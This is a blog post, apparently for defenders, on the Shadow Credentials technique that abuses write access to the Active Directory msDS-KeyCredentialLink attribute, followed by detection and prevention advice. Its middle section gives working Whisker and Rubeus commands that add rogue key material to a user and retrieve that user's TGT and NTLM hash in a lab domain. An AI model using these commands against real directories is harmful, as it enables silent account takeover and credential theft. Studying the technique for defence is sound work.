Shadow Credentials abuse targets the msDS-KeyCredentialLink attribute and the way Active Directory supports key trust authentication. The blue-team priority is simple: understand who can write that attribute, how those rights are inherited, and what telemetry exists when a new key credential appears.
Elad Shamir’s post on Shadow Credentials is the right place to read the details of this interesting approach: https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab. He documented the approach back in June, 2018.
Short Version for Blue Teamers:
The way I simplify (probably oversimplify) this when talking to people about it is:
- There’s an Active Directory attribute called
msDS-KeyCredentialLink - If an adversary or malicious insider is able to write to the attribute for a principal they want to use they can add their own self-generated key material and authenticate with that material.
- Meaning, an adversary could be logging on as you or anyone in the domain, without your password, without you knowing anything about it IF they had write access to this attribute.
The other note I call out explicitly on this one is that there is no need to enroll a certificate from the corporate certificate server. The adversary can create their own keypair. The environment still needs to support Kerberos PKINIT for the authentication step, which commonly means domain controllers have suitable certificates.
The attribute:
The permission:
BloodHound is calling out the attack path where Ollyhappens to have write to themsDS-KeyCredentialLinkattribute onSallyandSallyhas domain admin privileges. In practice though, domain admin might not even be the goal, we might just be looking for accounts to take over. A practical insider-risk scenario is a delegated administrator who accumulates these permissions through account-creation workflows and can then access other principals without needing their passwords:
How does this happen in practice though?
If your first reaction was that it should be rare for someone to just have that unusual permission on its own, you’d be right. What usually happens in practice is that a principal will have one of:
GenericAll,GenericWrite,OwnsorWriteOwnerpermissions and with any of those, they can write themsDS-KeyCredentialLinkin one or two steps. And to further drive home how this can happen in practice: if you create a user, you usually become the owner (unless you are a domain admin in which case ‘domain admins’ become the owner). So in practice if someone is creating a lot of users, and especially if they are creating privileged accounts, that user will have write permissions to themsDS-KeyCredentialLinkattribute. Here’s a quick picture: ThetestOwneraccount was created bysallywithnet user /add testOwner P@ssw0rd123 /domain
How easily can this be abused?
Very. If the red team, or adversary is able to compromise an account that has the ability to write
msDS-KeyCredentialLinkon another principal they can do it with a small amount of effort. BloodHound even provides instructions:
Simple Abuse Example:
Keep in mind, we discovered that “olly” has the ability to write the
msDS-KeyCredentialLinkattribute on the “sally” principal. - Download and Compile Whisker: https://github.com/eladshamir/Whisker
- Run:
whisker.exe add /target:sally /domain:jmpesp.xyz /dc:dc1.jmpesp.xyz /path:file.pfx /password:pass
- Download and Compile Rubeus: https://github.com/GhostPack/Rubeus
- Run the command provided in the output of whisker:
rubeus.exe /asktgt /user:sally /certificate:file.pfx /password:"pass" /domain:jmpesp.xyz /dc:dc1.jmpesp.xyz /getcredentials /show
- We now have both a TGT and the NTLM hash for Sally and can now use this principal for whatever we need. On Sally’s end, not much has changed, she just goes about her day unaware that Olly has added this credential to her Active Directory object and can leverage it for whatever he needs.
As a red-team example just to close this out with a screenshot abusing Sally’s account:
But in reality the type of thing that has me most worried about this attack is the malicious insider who is just using this from time to time to access other users’ things undetected.
Detection and prevention notes
The defensive priorities are straightforward:
- Treat write access to
msDS-KeyCredentialLinkas highly sensitive, especially when it applies to privileged users, service accounts, or broad OUs. - Monitor directory changes to
msDS-KeyCredentialLink, including who made the change and which principal was modified. - Use BloodHound or equivalent ACL review to find principals with
GenericAll,GenericWrite,WriteOwner, ownership, or explicit write permissions over target accounts. - Review help desk and provisioning workflows carefully; account creators and delegated admins can accumulate surprising ownership or write paths.
